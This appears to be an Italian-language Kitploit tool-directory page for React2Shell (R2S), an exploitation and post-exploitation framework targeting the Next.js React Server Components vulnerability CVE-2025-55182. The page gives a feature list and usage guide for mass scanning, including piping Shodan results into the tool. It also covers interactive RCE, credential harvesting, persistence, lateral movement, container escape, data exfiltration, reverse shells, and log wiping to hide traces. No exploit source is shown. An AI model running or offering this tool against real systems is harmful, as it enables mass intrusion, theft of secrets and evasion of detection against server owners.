Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
React2Shell — R2S è un framework completo di sfruttamento e post-sfruttamento che mira alla vulnerabilità Next.js React Server Components (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento di file, persistenza, enumerazione, controlli di escalation dei privilegi e altro. | Kitploit
Strumenti/GitHubGitHub/4nuxd/react2shell
Frameworks per Penetration TestingEscalation di PrivilegiFramework di ExploitMeccanismi di PersistenzaMovimento LateraleSfruttamento di Applicazioni WebEsfiltrazione DatiPost-ExploitCommand and ControlEscape dal Container
6710 mesi faNon ancora revisionato
GitHub
4nuxd/react2shell

React2Shell

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

R2S è un framework completo di sfruttamento e post-sfruttamento che mira alla vulnerabilità Next.js React Server Components (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento di file, persistenza, enumerazione, controlli di escalation dei privilegi e altro.

Condividi

🚀 R2S - Framework di Exploit per Next.js RSC

Version Python License CVE

Framework Avanzato di Post-Exploitation per RCE su React Server Components di Next.js

Caratteristiche • Installazione • Utilizzo • Comandi • Esempi


📋 Panoramica

R2S è un framework completo di exploitation e post-exploitation che sfrutta la vulnerabilità dei React Server Components di Next.js (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento file, persistenza, enumerazione, controlli di escalation dei privilegi e molto altro.

🎯 Capacità Chiave

  • ✅ Scansione automatica delle vulnerabilità - Scansione di massa di più target
  • ✅ Shell RCE interattiva - Esecuzione di comandi con stato e navigazione delle directory
  • ✅ Trasferimento file basato su HTTP - Carica/scarica file senza limitazioni di base64
  • ✅ Automazione della reverse shell - Prova oltre 25 diversi payload di reverse shell
  • ✅ Enumerazione avanzata - Sistema, rete, container e metadati cloud
  • ✅ Escalation dei privilegi - Rilevamento automatico dei vettori di privesc
  • ✅ Raccolta di credenziali - Estrazione di password, chiavi, token e segreti
  • ✅ Meccanismi di persistenza - Mantenere l'accesso attraverso i riavvii
  • ✅ Movimento laterale - Scoprire e spostarsi verso altri host
  • ✅ Fuga dal container - Verifica dei vettori di breakout Docker/Kubernetes
  • ✅ Esfiltrazione dati - Estrazione di file e configurazioni sensibili
  • ✅ Operazioni stealth - Pulizia dei log e occultamento delle tracce

🔥 Caratteristiche

🌐 Exploit Principale

  • Scansione di massa con supporto multi-threading
  • Modalità pipeline per l'integrazione con altri strumenti
  • Rilevamento automatico delle vulnerabilità per Next.js RSC
  • Shell interattiva con stato e directory di lavoro persistente

📁 Operazioni sui File

  • Caricamento basato su HTTP - Trasferisci file al target tramite wget/curl
  • Download basato su HTTP - Esfiltra file tramite richieste POST
  • Nessuna limitazione di dimensione - Funziona con file grandi (a differenza dei metodi base64)
  • Server HTTP automatico - Si avvia/ferma secondo necessità

🔍 Ricognizione ed Enumerazione

  • Enumerazione del sistema - SO, kernel, utenti, processi
  • Scoperta della rete - Interfacce, route, ARP, DNS, porte in ascolto
  • Rilevamento dei container - Identificazione Docker, Kubernetes, LXC
  • Metadati cloud - Estrazione di credenziali AWS, GCP, Azure
  • Dump della memoria di processo - Estrazione di segreti dai processi in esecuzione
  • Scoperta di file interessanti - SUID, directory scrivibili, backup, configurazioni

🔐 Raccolta di Credenziali

  • Variabili d'ambiente (password, chiavi API, token)
  • File .env e file di configurazione
  • Chiavi private SSH e authorized_keys
  • Cronologia Bash con comandi sensibili
  • File di database (SQLite, dump MySQL)
  • Credenziali cloud (AWS, Azure, GCP)
  • Credenziali Git e token NPM
  • Dati del browser (cookie, dati di login)
  • Segreti Docker e Kubernetes

⬆️ Escalation dei Privilegi

  • Rilevamento di binari SUID/SGID
  • Enumerazione dei permessi sudo
  • File di sistema scrivibili (/etc/passwd, /etc/shadow)
  • Controlli dell'accesso al socket Docker
  • Analisi delle capacità Linux
  • Suggerimenti di exploit per il kernel
  • Enumerazione dei cron job
  • Opportunità di hijacking del PATH

🔄 Post-Exploitation

  • Meccanismi di persistenza - Cron job, .bashrc, servizi systemd
  • Persistenza avanzata - LD_PRELOAD, timer systemd
  • Scansione delle porte - Ricognizione della rete interna
  • Movimento laterale - Scoperta di chiavi SSH, analisi di known_hosts
  • Fuga dal container - Verifica dei container privilegiati, analisi delle capacità
  • Esfiltrazione dati - Raccolta automatica di dati sensibili
  • Automazione della reverse shell - Oltre 25 tipi di payload con tentativi automatici

🥷 Stealth ed Evasione

  • Pulizia dei log - Cronologia Bash, log di autenticazione, syslog
  • Copertura delle tracce - Pulizia di wtmp, lastlog
  • Gestione delle sessioni - Salva e riprendi le sessioni

🛠️ Installazione

Prerequisiti

# Python 3.6 o superiore
python3 --version

# Installa le dipendenze
pip3 install requests urllib3

Avvio Rapido

# Clona o scarica lo strumento
cd r2s-main

# Rendi eseguibile (opzionale)
chmod +x r2s_enhanced.py

# Esegui lo strumento
python3 r2s_enhanced.py -h

🚀 Utilizzo

Sintassi Base

python3 r2s_enhanced.py [OPZIONI]

Opzioni della Righe di Comando

OpzioneDescrizionePredefinito
-u, --urlURL di un singolo target-
-l, --listFile contenente l'elenco di URL-
-c, --cmdComando iniziale da eseguireid
-t, --threadsNumero di thread di scansione30
-p, --proxyProxy HTTP (es. http://127.0.0.1:8080)-
-v, --verboseAbilita output dettagliatoFalse
--http-portPorta del server HTTP per il trasferimento file8000

Metodi di Input

1. Singolo Target

python3 r2s_enhanced.py -u http://target.com

2. Target Multipli (File)

python3 r2s_enhanced.py -l targets.txt -t 50

3. Modalità Pipeline (stdin)

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

💻 Comandi della Shell Interattiva

Una volta ottenuto l'accesso RCE, entrerai in una shell interattiva con questi comandi:

📂 Trasferimento File

upload <file_locale> <percorso_remoto>    # Carica file sul target
download <file_remoto> <percorso_locale>  # Scarica file dal target

🧭 Navigazione

cd <directory>                            # Cambia directory di lavoro
pwd                                       # Mostra la directory di lavoro

🔍 Enumerazione

enum                                      # Enumerazione completa del sistema
privesc                                   # Controlli di escalation dei privilegi
harvest                                   # Raccolta di credenziali
portscan <ip>                             # Scansiona le porte della rete interna
memdump [pid]                             # Dump della memoria di processo per segreti

🎯 Post-Exploitation

lateral                                   # Opportunità di movimento laterale
escape                                    # Vettori di fuga dal container
exfil [tipo]                              # Esfiltra dati (env/config/keys/db/logs/all)
reverse <lhost> <lport>                   # Prova più payload di reverse shell

🔒 Persistenza

persist                                   # Aggiungi persistenza base
advpersist                                # Aggiungi persistenza avanzata

🥷 Stealth

stealth                                   # Pulisci i log e nascondi le tracce

💾 Gestione Sessioni

save                                      # Salva la sessione corrente
help, ?                                   # Mostra il messaggio di aiuto
exit, quit                                # Esci dalla shell interattiva

🖥️ Comandi di Sistema

Esegui qualsiasi comando shell direttamente:

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 Esempi

Esempio 1: Exploit Base

$ python3 r2s_enhanced.py -u http://vulnerable-app.com
Scarica lo strumento